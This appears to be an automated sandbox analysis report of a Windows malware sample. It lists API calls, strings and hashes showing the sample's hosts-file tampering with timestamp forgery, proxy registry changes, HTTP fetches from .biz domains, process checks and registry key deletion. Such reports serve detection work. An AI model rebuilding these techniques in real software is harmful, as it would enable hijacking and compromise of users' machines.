GetStartupInfoA.KERNEL32(00000000), ref: 0040255A
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,00000000,?,40000000,00000000,00000000), ref: 0040259C
DeleteFileA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,00000000,?,40000000,00000000), ref: 004025AD
DeleteFileA.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,00000000,?,40000000), ref: 004025BF
CloseHandle.KERNEL32(00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,00000000,?,40000000,00000000), ref: 004025D6
lstrcpy.KERNEL32(00000004,?), ref: 004025F2
lstrcpy.KERNEL32(00000108,?), ref: 0040260B
CreateThread.KERNEL32(00000000,00010000,00402301,00000000,00000000), ref: 0040262B
CloseHandle.KERNEL32(00000000,00000000,00010000,00402301,00000000,00000000,?,00000004,?,00000012,?,00000000,00000000,00000000,00000000,00000000), ref: 00402631

Strings

urlinj_xfer, xrefs: 004024D0
urlinj_conn, xrefs: 004023E7
urlinj_fork, xrefs: 004025C4
tmp, xrefs: 00402439, 004024EC
urlinj_creat_f, xrefs: 0040252E
urlinj_creat, xrefs: 00402475

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: File$Internetlstrcpy$CloseCreateDeleteHandle$OptionTemp$NameWritelstrcat$InfoOpenPathProcessReadStartupThreadclosesockethtonslstrlensocket
String ID: tmp$urlinj_conn$urlinj_creat$urlinj_creat_f$urlinj_fork$urlinj_xfer
API String ID: 910217646-3391900140
Opcode ID: 816480c97cdd80431ed9c0b70b00cb29bb9b555c6a29531843e79aa631008cf2
Instruction ID: 80098ff5335807751e7b060e98490b1c26acefe31690528cc0e00fc22b84f569
Opcode Fuzzy Hash: 816480c97cdd80431ed9c0b70b00cb29bb9b555c6a29531843e79aa631008cf2
Instruction Fuzzy Hash: 7F71E9712047447AE731A6758E4EFEB329C8F80704F50483BB644FA2C2EAFCD945866E

Function 00401C3E Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 203
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?), ref: 00401C6A
lstrlen.KERNEL32(00000000,?), ref: 00401C70
htons.WS2_32(00000050), ref: 00401CD1
inet_addr.WS2_32(?), ref: 00401CEC
gethostbyname.WS2_32(?), ref: 00401CFB
socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
closesocket.WS2_32(00000000), ref: 00401D4F
wsprintfA.USER32 ref: 00401D9A
send.WS2_32(00000000,?,00000000,00000000), ref: 00401DB0
lstrcmpiA.KERNEL32(?,HTTP/1.0 200), ref: 00401DE1
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84280300,00000000), ref: 00401EBB
InternetCloseHandle.WININET(00000000), ref: 00401EF6

Strings

P, xrefs: 00401D79
HTTP/1.0 200, xrefs: 00401DCD
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00401E60
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401D8C
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401D93, 00401D98
0, xrefs: 00401DD3

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: Internet$Option$Open$CloseHandleclosesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$Mozilla/4.0 (compatible; MSIE 6.0; Win32)$P
API String ID: 326340279-3185374940
Opcode ID: 1a47fe40bbcc8dca4af4f1c788d1ddca76ee9ae9e5735430513397900e8184fa
Instruction ID: 0b531a99b3d5abf5cb650746cb0befc7b08862aa7035e578805121d5229d263d
Opcode Fuzzy Hash: 1a47fe40bbcc8dca4af4f1c788d1ddca76ee9ae9e5735430513397900e8184fa
Instruction Fuzzy Hash: 1C71E3B0640215AFE7209B64CC85B5F76A8AF05358F1041BAF705FF2E2D77899448FAE

Function 00401A88 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 127
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401AC6
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 00401C1D
RegCloseKey.ADVAPI32(00000000,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401C2E

Strings

Connections, xrefs: 00401B7D
_Classes, xrefs: 00401AEE
ProxyEnable, xrefs: 00401B41
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00401B0E
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00401ABC

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: CloseCreateEnum
String ID: Connections$ProxyEnable$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$_Classes
API String ID: 2702359829-1466506419
Opcode ID: cd7fec485b54cda58acb8ea02c4e1b58a6aeec14a1bf8912a55b22aa94fa8f95
Instruction ID: b3c6845c7cc7358e21721668acba52ac81ea92210d0409fa8cf9a8fc2de8423e
Opcode Fuzzy Hash: cd7fec485b54cda58acb8ea02c4e1b58a6aeec14a1bf8912a55b22aa94fa8f95
Instruction Fuzzy Hash: 9141C47118834579F721EA618C41FAB76ACEF84788F00083FB685B50D1EBBCD914D66A

Function 004014F6 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 188
filetimestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 00401505
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040151D
GetFileTime.KERNEL32(00000000,0040C2B0,00000000,0040C2C0,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040154F
GetFileSize.KERNEL32(00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040155A
ReadFile.KERNEL32(C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401586
lstrlen.KERNEL32(.google.,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 00401631
CharLowerA.USER32(00000000,?,.google.,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 0040165E
SetFilePointer.KERNEL32(00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 004016C2
WriteFile.KERNEL32(C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 004016D9
WriteFile.KERNEL32(C0000000,00000000,?,00000000,00000000,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000), ref: 004016F6
SetEndOfFile.KERNEL32(00000080,C0000000,00000000,?,00000000,00000000,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000), ref: 004016FF
WriteFile.KERNEL32(C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401721
SetFileTime.KERNEL32(00000001,0040C2B0,00000000,0040C2C0,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 00401736
CloseHandle.KERNEL32(00000080,00000001,0040C2B0,00000000,0040C2C0,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000), ref: 0040173F

Strings

127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/, xrefs: 004016D0, 00401718
.google., xrefs: 00401630

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: File$Write$Time$AttributesCharCloseCreateHandleLowerPointerReadSizelstrlen
String ID: .google.$127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/
API String ID: 2270073009-539719378
Opcode ID: d950569a91308c09b8070e53100bda7c382b9e224005525b51e2c1591573ed04
Instruction ID: ed07d2a39fb80e6dc9f9b9060e9089f4a8c87d352c27c362815906d0368f32f6
Opcode Fuzzy Hash: d950569a91308c09b8070e53100bda7c382b9e224005525b51e2c1591573ed04
Instruction Fuzzy Hash: 59619B70608340AFD711DF25CC89B2BBBE5AB84308F54893FF095BA1E1D279D945CB5A

Function 00402646 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 139
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,004029BD), ref: 004026A9
gethostbyname.WS2_32(?), ref: 004026BC
htons.WS2_32(00000050), ref: 004026D1
socket.WS2_32(00000002,00000001,00000006), ref: 004026F3
closesocket.WS2_32(00000000), ref: 0040270F

Part of subcall function 00401A88: RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401AC6

InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00402749
InternetSetOptionA.WININET(00000000,00000002,?,00000004), ref: 0040276A
InternetSetOptionA.WININET(00000000,00000006,?,00000004), ref: 00402776
InternetSetOptionA.WININET(00000000,00000005,?,00000004), ref: 00402782
wsprintfA.USER32 ref: 00402797
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84280300,00000000), ref: 004027A9
InternetCloseHandle.WININET(00000000), ref: 004027C9
InternetCloseHandle.WININET(00000000), ref: 004027D0
InternetCloseHandle.WININET(00000000), ref: 004027DB

Strings

http://%s/, xrefs: 0040278D
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00402744

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: Internet$CloseHandleOption$Openwsprintf$Createclosesocketgethostbynamehtonslstrcpysocket
String ID: Mozilla/4.0 (compatible; MSIE 6.0; Win32)$http://%s/
API String ID: 2574392083-3144419281
Opcode ID: ade305bca366b5eb7b918a423a1f866422317c8b2df476ad012bad1b820d0363
Instruction ID: 632abfffad1eae66bbef2cffefd365432c92c77627e78cd6349fa7629361752e
Opcode Fuzzy Hash: ade305bca366b5eb7b918a423a1f866422317c8b2df476ad012bad1b820d0363
Instruction Fuzzy Hash: E441A270240300EFE310AB659D8AB1B72A6EF48744F14853AF641FB2D2D7B89845CB6E

Function 00403AB1 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,InternetOpenA), ref: 00403B11
GetProcAddress.KERNEL32(?,InternetOpenUrlA), ref: 00403B21
GetProcAddress.KERNEL32(?,InternetReadFile), ref: 00403B31
GetProcAddress.KERNEL32(?,InternetSetOptionA), ref: 00403B41
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 00403B51

Strings

InternetReadFile, xrefs: 00403AD5, 00403B26
InternetOpenUrlA, xrefs: 00403AC3, 00403B16
winrnt.exe, xrefs: 00403B67
InternetSetOptionA, xrefs: 00403AE7, 00403B36
InternetCloseHandle, xrefs: 00403AF9, 00403B46
InternetOpenA, xrefs: 00403AB1, 00403B0B

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: AddressProc
String ID: InternetCloseHandle$InternetOpenA$InternetOpenUrlA$InternetReadFile$InternetSetOptionA$winrnt.exe
API String ID: 190572456-2600980705
Opcode ID: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction ID: 63eaa8bc75678119ca595fc79afd30bbacb21d8015fafef53c274f568fe1bf47
Opcode Fuzzy Hash: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction Fuzzy Hash: 77115E62658342A9CB013BB94DC551A2D0CF516725360CB77E0E3FA1E3D73C99238A6F

Function 0040415C Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0040417B
Process32First.KERNEL32(?,00000128), ref: 00404198
lstrcmpiA.KERNEL32(00000000,rmass.exe), ref: 004041BE
lstrcmpiA.KERNEL32(00000000,winrnt.exe), ref: 004041CD
OpenProcess.KERNEL32(00100201,00000000,?,00000000,rmass.exe,?,00000128), ref: 004041E4
Process32Next.KERNEL32(?,00000128), ref: 00404203
CloseHandle.KERNEL32(?,?,00000128), ref: 0040420D
SetPriorityClass.KERNEL32(?,00000040,?,00100201,00000000,?,00000000,rmass.exe,?,00000128), ref: 00404220

Strings

winrnt.exe, xrefs: 004041C7
rmass.exe, xrefs: 004041AA

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: ProcessProcess32lstrcmpi$ClassCloseCurrentFirstHandleNextOpenPriority
String ID: rmass.exe$winrnt.exe
API String ID: 1978614274-609000131
Opcode ID: 575c4d339131b7ea445a13c532a21b2f2d8b54fc05965ef639bd7755bfd7808c
Instruction ID: d7d6018ad07b693beee57e1d6cc27fa73cc6d91fbcb3c380ea6268944c6b866b
Opcode Fuzzy Hash: 575c4d339131b7ea445a13c532a21b2f2d8b54fc05965ef639bd7755bfd7808c
Instruction Fuzzy Hash: E811C4B120874255D731AB628C49B9F72DDDFE4349F90083FB78A790C2EA7C94419A5E

Function 00401038 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45
processfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401046
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401061
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401076
WaitForSingleObject.KERNEL32(?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000), ref: 00401083
CloseHandle.KERNEL32(00000000,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 0040109A
CloseHandle.KERNEL32(?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 004010A2
CloseHandle.KERNEL32(?,?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000), ref: 004010AB

Strings

--k33p, xrefs: 0040105B

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: 8f03cfcacc3fb761c66b108313f3e8f5d5afa9050004f1917fe345122ebdcd9b
Instruction ID: 8066bfb0b53967ada52967b4418e7945b86cdbe5de05057fbb1ad19309dc722b
Opcode Fuzzy Hash: 8f03cfcacc3fb761c66b108313f3e8f5d5afa9050004f1917fe345122ebdcd9b
Instruction Fuzzy Hash: 94F05E70244B0576E62036328C8FF2F6559DF01B24F608A3BB660790E2EA7CA8515D6E

Function 00401983 Relevance: 12.1, APIs: 8, Instructions: 82
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019A3
connect.WS2_32(00000000,00000002,00000010), ref: 004019B4
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019C4
WSAGetLastError.WS2_32 ref: 004019D0
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019E3

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 2400e972c0e9ddf2b9affed38759af4aef1d47a06b3db7d643a6f2f69f199e33
Instruction ID: 7ca4e1aa6efa4e4985c6b63a06a3ad70c8f0fbc5506d5683ad8c2bedbe06a21d
Opcode Fuzzy Hash: 2400e972c0e9ddf2b9affed38759af4aef1d47a06b3db7d643a6f2f69f199e33
Instruction Fuzzy Hash: D021F8705052016AE3209A658C01FAB76ECDF85318F010A3FB191EA1E2EB7C9554CBAB

Function 004011CF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019), ref: 004011F4
wsprintfA.USER32 ref: 0040120B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040122F
RegCloseKey.ADVAPI32(?,00000000,00000000,?,00000300), ref: 0040123B
RegDeleteKeyA.ADVAPI32(?), ref: 00401242

Strings

%s\%s, xrefs: 00401201

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: 862f39d307e7bed41155314c2e335719fea2d7178379376c520064090d73a952
Instruction ID: ca306f76ce8eae6bb017704f8a45eb17ba94ef2d79512a313227167690010306
Opcode Fuzzy Hash: 862f39d307e7bed41155314c2e335719fea2d7178379376c520064090d73a952
Instruction Fuzzy Hash: 0FF0C2712843103BE225F21A9C82FBB659CDFC87D8F00043EF60AF51D2EA3C9D1191AA

Function 0040332B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.ADVAPI32(?,SubshellState,00000000,?,?,0000022A), ref: 00403349
RegCloseKey.ADVAPI32(?,?,SubshellState,00000000,?,?,0000022A), ref: 00403356
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,00407AC0,0040C280), ref: 0040336D
RegQueryValueExA.ADVAPI32(0002001F,SubshellState,00000000,0002001F,?,0000022A,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403394

Strings

SubshellState, xrefs: 00403340, 0040338B
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00403363

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SubshellState
API String ID: 1586453840-1581766880
Opcode ID: a7965a080363276cbf79931ef33725f3131c7e60a91a4a9c497422ff23ea8aa0
Instruction ID: 3dcb92c1f9c890dfedf28143b45772a3b5a55991ec0384945c72f8c2c4c9699b
Opcode Fuzzy Hash: a7965a080363276cbf79931ef33725f3131c7e60a91a4a9c497422ff23ea8aa0
Instruction Fuzzy Hash: FFF04471148301BAE310DB41EC45F5B7ADC9B80744F10443BBD46B50D1E6B8E954A61B

Function 00401F06 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 108
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(?), ref: 00401F4C
lstrcpy.KERNEL32(?,?), ref: 00401F74
wsprintfA.USER32 ref: 00401FC5
wsprintfA.USER32 ref: 00401FE7

Strings

%02X, xrefs: 00401FE1
http://%s.biz/d/G?, xrefs: 00401FBD

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$http://%s.biz/d/G?
API String ID: 1876335253-1405168728
